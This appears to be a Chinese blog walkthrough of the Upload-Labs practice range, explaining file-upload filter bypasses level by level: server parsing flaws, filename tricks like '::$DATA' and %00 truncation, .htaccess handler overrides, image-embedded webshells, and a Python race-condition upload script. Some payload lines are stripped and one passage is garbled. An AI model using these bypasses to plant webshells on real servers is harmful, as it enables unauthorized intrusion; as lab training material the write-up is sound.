上传漏洞 Upload-Labs实战

上传漏洞 Upload-Labs-1

Upload-labs是国内一个老哥c0ny1开源的上传漏洞靶子,下载地址

https://github.com/c0ny1/upload-labs

与sqli-labs有些类似,主要专注于上传漏洞这一块。

为了方便下载,已经保存到当前服务器下

下载地址

环境搭建

默认下载PHP+Mysql即可,如果之前有搭建过sqli-labs的话,直接把项目放在www目录下即可。

然后打开,这个时候网页会提示undefined index。。。。,这其实不是异常,而是PHP的提示,不影响,原因是某些变量没有定义就先使用,虽然在PHP中这是合法的,这样的提醒提示出现上面这些是 PHP 的提示而非报错,PHP 本身不需要事先声明变量即可直接使用,但是对未声明变量会有提示。一般作为正式的网站会把提示关掉的,甚至连错误信息也被关掉。

别忘记准备一只PHP木马,并且创建一个upload文件夹。

php木马:

图片马:
将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

copy xx.jpg/b + yy.txt/a xy.jpg              /b 即二进制[binary]模式              /a 即ascii模式 xx.jpg正常图片文件      yy.txt内容

上传漏洞

上传漏洞按个人理解分三种,第一种是代码层的。即代码过滤不严格,或者使用客户端本地校验。第二种是服务层的,比如iis6.0的解析漏洞,apache的解析漏洞。第三种就是前面结合在一起的,比如代码层过滤了部分内容都是能绕过,然后通过服务器层的解析漏洞上传成功。

所以每次在上传前应该先探测一下服务器信息,试一试服务器层的解析漏洞。

代码层的漏洞会在以后的文章专门描述,这里稍微总结一下服务器层的漏洞。

IIS 6.0

1. 当建立*.asa,*.asp,*.cdx,*.cer格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析。
2. 当文件为*.asp;1.jpg时,IIS 6.0同样会以ASP脚本来执行。
3. 用put方法写文件,然后通过Move或Copy方法改名

IIS 7.0/IIS 7.5/ Nginx <8.03

第一种方法:在默认Fast-CGI开启状况下,黑阔上传一个名字为sp.jpg,内容为

');?>

的文件,然后访问sp.jpg/.php,在这个目录下就会生成一句话木马 shell.php

第二种方法:IIS7.5 的漏洞与 nginx 的类似,都是由于 php 配置文件中,开启了 cgi.fix_pathinfo,而这并不是 nginx 或者 iis7.5 本身的漏洞。

跟 nginx 解析漏洞一样,要在 php.ini => cgi.fix_pathinfo=1 开启的情况才会产生。

可以配合操作系统文件命名规则,上传不符合 windows 文件命名规则的文件名

test.asp.
test.asp(空格)
test.php:1.jpg
test.php:: $DATA

会被 windows 系统自动去掉不符合规则符号后面的内,然后再配合这个解析漏洞来执行文件。

Nginx <8.03

Nginx在图片中嵌入PHP代码然后通过访问

xxx.jpg%00.php

来执行其中的代码

举个例子:

首先准备文件test.jpg(或者准备一个图片木马),内容为:


然后访问:

http://xxxx.com/test.jpg/test.php 
或者访问:http://xxxx.com/test.jpg%00.php 

另外一种手法:上传一个名字为 test.jpg,以下内容的文件:

');?>

然后访问 test.jpg/.php, 在这个目录下就会生成一句话木马 shell.php。这个解析漏洞其实是 PHP CGI 的漏洞,在 PHP 的配置文件中有一个关键的选项 cgi.fix_pathinfo 默认是开启的,当 URL 中有不存在的文件,PHP 就会向前递归解析。

Apache

1. 在Apache 1.x和Apache 2.x中1.php.rar会被当作php文件执行。

Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后面向前解析,直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。这种方法可以绕过基于黑名单的检查。Apache 能够认识的文件在 mime.types 文件里。

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个sec.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

2. 如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:


SetHandler application/x-httpd-php

然后再上传m.jpg的木马, 这样m.jpg就可解析为php文件。然后访问xxx.com/m.jpg,看你的木马是get传入方式还是post传入方式。根据不同提交方式使用木马的密码=phpinfo();执行看看

3. Apache 配置文件中会有.+.ph(p[345]?|t|tml)此类的正则表达式,被当 php 程序执行的文件名要符合正则表达式,否则就算 Apache 把某文件当 php 程序,php 自己不认它,也是无用。也就是说php3,php4,php5,pht,phtml也是可以被解析的。

Win

  1. 在windows环境下,m.php[空格] 或m.php. 。这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的,测试发现如果代码中过滤删除后缀的点或者后缀后面的空格两种情况中的一种,那就试一试上传m.php.[空格]这样的格式。

  2. 文件名改成.php::$DATA,上传成功后保存的文件名其实是.php,原理是Windows文件流特性绕过

总结一下系统层的命名规则漏洞

  test.asp.
  test.asp(空格)
  test.php:1.jpg
  test.php::$DATA
  shell.php::$DATA…….

%00截断

条件:php 版本 < 5.3.4

filename=test.php%00.txt

1、上传时路径可控,使用 00 截断

2、文件下载时,00 截断绕过白名单检查

3、文件包含时,00 截断后面限制(主要是本地包含时)

4、其它与文件操作有关的地方都可能使用 00 截断。

黑盒测试

首先看到的页面是这样的,尝试上传m.php木马,浏览器直接提示不允许上次,并且提示速度特别快,而且弹框出来,按照经验推测是本地客户端校验,禁用javascript试一试。

上传漏洞 Upload-Labs实战_第1张图片

禁用之后再上传发现upload目录下多了一个m.php文件,然后访问一下。

[上传漏洞 Upload-Labs实战_第2张图片

上传成功。

关于该漏洞上传木马还有很多别的办法,比如木马改名m.jpg,然后抓包改包成m.php一样可以上传成功,通过审查元素也可以绕过。

白盒测试

最主要的下面这两个片段代码,首先定义一个js函数,从上传区中获取上传文件的属性值,然后判断是否上次文件为空,最后判断文件后缀。

        

上传区

# 传输方式为POST,点击的时候调用下面的js函数

请选择要上传的图片:


作者的注释都写得很详细,我这里就不再画蛇添足了,一般来说如果上传的时候直接提示不允许上传,基本都是本地客户端校验,因为服务端校验会因为网络延迟的缘故要等一小会儿。

上传漏洞 Upload-Labs-2

黑盒测试

上传漏洞 Upload-Labs实战_第3张图片

上传后页面提示文件类型不正确,没有弹框出来。应该不是本地客户端校验,抓包分析。

上传漏洞 Upload-Labs实战_第4张图片

查看上传木马部分信息

Content-Disposition: form-data; name="upload_file"; filename="m.php"
Content-Type: application/octet-stream


第一行是正常的传输信息,第二行是上传文件的类型,关于application/octet-stream这里提起一下,application/octet-stream是以流的形式下载文件,这样可以实现任意格式的文件下载。因为该上传仅允许上传图片格式的文件,遂修改成如下试一下

image/jpeg;image/jpg;image/gif

上传成功。当然仅仅修改成image/jpeg也是可以上传成功的。

关于该漏洞是服务端对数据包的MIME(文件类型的专用数据)进行检查,即对Content-Type的内容进行检查。

白盒测试

    if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/png')) {
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
            $img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];
        }
    } else {
        $msg = '文件类型不正确,请重新上传!';
    }

连续三个获取并判断文件的类型是不是image/jpeg,image/png,image/png,其中||是或,or的意思。&&是与,and的意思。这两个符号在一起的Sql注入漏洞中有提起过的。

然后如果只要其中一个文件的类型,也就是Content-Type符合代码中三种类型的其中之一就可以正确上传。

上传漏洞 Upload-Labs-3-4

黑盒测试

非客户端校验,并且修改contype后还是无法绕过,修改大小写无法绕过,修改文件名为m.pphphp后上传成功但是没办法解析…那试一试服务层的解析漏洞好了,目标为apache服务器。apache有两个解析漏洞(在第一篇文章有介绍)逐一试一试,上传m.php.rar.jpg发现不行,试一试上传.htaccess。

因为前面提示内容是:不允许上传.asp,.aspx,.php,.jsp后缀文件,试着上传htacess文件直接上传成功了,然后把木马m.php改成m.jpg,直接上传成功,然后直接执行成功…

.htaccess内容:


SetHandler application/x-httpd-php

m.jpg内容:


上传漏洞 Upload-Labs实战_第5张图片

这一块中压根不用抓包修改数据,先上传.htaccess文件,包含m.jpg当作php代码执行,然后把木马直接改名成m.jpg,直接上传。推测之所以把木马直接修改成jpg后上传成功是因为代码层没有对木马的内容进行校验,对图片进行渲染,这一点在后面的文章会有提起。

白盒测试

	if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array('.asp','.aspx','.php','.jsp');
    $file_name = trim($_FILES['upload_file']['name']);
    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //收尾去空

    if(!in_array($file_ext, $deny_ext)) {
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name'])) {
             $img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name'];
             $is_upload = true;
        }
    } else {
        $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
    }
} else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

如果上传文件夹路径不存在就提示创建文件夹,存在就执行下面的代码。

定义一个数组,包含4个黑名单文件就是禁止上传的文件asp,aspx,PHP,jsp。

然后获取文件名删除文件名末尾的点,在win下可以上传xx.php.这样的格式然后自动变成xx.php(详见第一篇文章),然后把文件名转换成小写,防止使用xx.PHp这样的大小写文件名绕过,然后把字符串::$DATA替换成空字符,再去除空字符。

经过上面一系列的套路,就没办法上传如下文件:

1. xxx.php.
2. xxx.pHP
3. xxx.php::$DATA

最后判断上传文件的后缀名是不是在定义的黑名单里,如果不在就允许上传。

突破方式就是利用apache的htaccess文件,让特定的文件以特定的方式运行。

Upload-Labs-4

4的上传方法与3一模一样,稍微的区别在于黑名单,4的黑名单大概有这么多:

$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

然后毫无瓜葛啊,一样上传m.jpg和包含m.jpg执行php的htaccess文件即可。

如果代码层的过滤机制为黑名单机制的话,那么可以尝试使用大小写绕过。如果代码层使用删除匹配到黑名单的话,比如会把m.php的php删除,那么上传m.pphphp文件就可以绕过。

上传漏洞 Upload-Labs-5

黑盒测试

尝试上传m.php木马文件,提示此文件不允许上传 。遂继续尝试修改后缀,改成m.PHp,没想到居然直接上传成功了…查看源码后发现原来刚刚好不在黑名单里面。

然后试着burp抓包,使用爆破模块,把所有的后缀包括大小写全都作为爆破字典进行爆破

上传漏洞 Upload-Labs实战_第6张图片

发现的确可以上传成功,当然在实际渗透中该方法仅供参考,要根据实际情况来分析处理。

白盒测试

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

就像lab3-4一样,使用黑名单机制,$deny_ext数组里面的后缀名不要允许上传,并且过滤pHp这样的大小写,但是仔细发现,代码中并没有把后缀从大写转换成小写,上传m.PHp刚好不在黑名单里面,运气也是实力的一部分啊,很多时候如果发现m.pHp禁止上传后,要想想可能是黑名单机制,应该不断尝试m.Php,m.PHP,m.phP,等等

Upload-Labs-6-7

黑盒测试

上传m.php,提示此文件不允许上传 。遂继续尝试修改后缀,Php,PHP,PhP等等皆不允许上传,猜测可能是过滤了大小写(代码中把上传文件的后缀都大小写转换了),上传htaccess也不可以,修改contype也不可以,看来代码层的过滤是绕不过去了,尝试一些服务器层的解析漏洞。

在本系列课程的lab 1 中有提起大部分服务器层的解析漏洞,并且通过探测发现服务器为win,试一下win的后缀解析漏洞。

上传m.php.,提示不允许上传,看来在代码层已经把后缀中的点号过滤了,那么试一下m.php[空格]发现上传成功了。即代码中只过滤了后缀的点号,并没有过滤后缀中的空格,因为win的命名规则,成功上传m.php。

在lab 7 中用同样的套路流程,发现过滤了后缀后面的空格,但是没有过滤后缀后面的点号。

因为6-7中都只是过滤了后缀中的点号和空格号,你可以上传m.php.[空格].[空格],该后缀名在6-7都可以成功上传。

白盒测试

Lab 6

if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
    $file_name = $_FILES['upload_file']['name'];
    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

Lab 7

if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
    $file_name = trim($_FILES['upload_file']['name']);
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //首尾去空

和前面的过滤机制一样,采用黑名单机制,并且对上传文件的后缀做了处理,转换成小写,去除末尾点或者空格,去除字符串。

在上传木马过程中,首先第一步就是先探测服务器的信息,考虑服务器层解析漏洞和代码层的漏洞,代码层无非就是黑名单机制,大小写过滤,文件重命名,服务器层也就那么几个解析漏洞,灵活运行在一起才能成功上传,并且上传木马中,返回的结果无非只有不允许上传和上传成功,没有更多可以探测的信息,就需要不断的猜测,不断的测试。

上传漏洞 Upload-Labs-8-9

黑盒测试

Lab 8

  1. 尝试之前的大小写发现没法绕过
  2. 尝试上传htaccess禁止上传
  3. 尝试后缀修改空格加点没法上传
  4. 尝试pphphp上传后,没法执行的

代码层可能绕不过去了,试一试系统层的,后缀空格加点号没办法上传,试一试把文件名改成.php::$DATA

Content-Disposition: form-data; name="upload_file"; filename="m.php::$DATA"
Content-Type: application/octet-stream


然后就上传成功了…原理是win的文件命名规则绕过…

Lab 9

试了之前的套路都没能上传,继续利用win下的文件流特性绕过,上传

m.php. . . . . . . . 

上传成功…

白盒测试

Lab 8

与前面的文章一样,只是没有过滤::$DATA

Lab 9

虽然代码中将后缀的部分做了处理,但是明显处理不全面,只是删除了最后的空格和点号,这个时候多加几个空格和点号就可以上传了…

上传漏洞 Upload-Labs-10-19

Lab 10

黑盒测试

上传任何文件都没显示上传失败什么的,查看源代码发现后缀被替换掉了

上传漏洞 Upload-Labs实战_第7张图片]

猜测可能是替换一次或者正则替换,上传的时候修改文件名m.pphphp尝试成功

上传漏洞 Upload-Labs实战_第8张图片

白盒测试

过滤的代码如下

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $file_name)) {
            $img_path = UPLOAD_PATH . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

重点在于这两行

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);

如果熟读前面的PHP入门文章的话,就会明白trim和srt_ireplace函数的作用。

trim():函数移除字符串两侧的空白字符或特殊字符
srt_ireplace():替换文本

Lab 11

黑盒测试

上传PHP文件,提示:只允许上传.jpg|.png|.gif类型文件!
把之前的所有套路组合了一遍都没能上传成功,只好查看源代码了…

白盒测试

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败!';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

重点在这里

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

文件名取自10-99随机选择数字,其中路径的 G E T [ ′ s a v e p a t h ′ ] 在 U R L 中 有 / i n d e x . p h p ? s a v e p a t h = . . / u p l o a d / 。 _GET['save_path']在URL中有/index.php?save_path=../upload/。 GET[savepath]URL/index.php?savepath=../upload/file_ext是文件后缀

$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

strrpos():查找"指定字符串" 在字符串中最后一次出现的位置
substr():替换文本

$img_path是直接拼接的,那么上传漏洞的缺陷在于上传的路径可控,上传路径名%00截断绕过。上传的文件名写成m.jpg, save_path改成…/upload/m.php%00,最后保存下来的文件就是m.php

上传漏洞 Upload-Labs实战_第9张图片

Lab 12

抓包发现save_path是通过post传进来的,与11一样,同样适用%00截断上传。但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。

在hex中把20改成00即可

Lab 13

要求上传图片马,用第一章的生成图片马的方式生成图片马后。上传发现失败,白盒测试后发现会读取上传文件的前2个字节判断文件类型,那么在上传的内容中加上一行GIF89a即可

Lab 14

getimagesize获取文件类型,还是直接就可以利用图片马就可进行绕过

Lab 15

php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过

Lab 16

这一关有点难,问了别人后给出了上传的方式

修改后缀为m.gif,content-type修改成image/gif,同时在内容上加上GIF89a

白盒测试发现代码判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染

Lab 17

这一关和后两关是真不会…都是问的别人…

通关方式:

这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。
首先在burp中不断发送上传webshell的数据包,然后不断在浏览器中访问,发现通过竞争可以访问到上传的木马

使用代码:

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):
	url = 'http://192.168.200.138' + '/upload/Pass-17/index.php'
	files = {'upload_file': (
	'info.php', "');?>", 'image/jpeg')}
	data = {'submit': '上传'}
	r = requests.post(url=url, data=data,files=files)
	re = requests.get('http://192.168.200.138/upload/upload/info.php')
	if re.status_code == 200:
		print('上传成功')
if __name__ == '__main__':
	with ThreadPoolExecutor(20) as p:
		p.map(td,range(200))

Lab 18

首先上传图片马,然后和17的条件竞争上传一样。对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功

Lab 19

发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过。

欢迎关注公众号:【安全研发】获取更多相关工具,课程,资料分享哦~
在这里插入图片描述

你可能感兴趣的:(渗透演练,上传漏洞,Upload-Labs)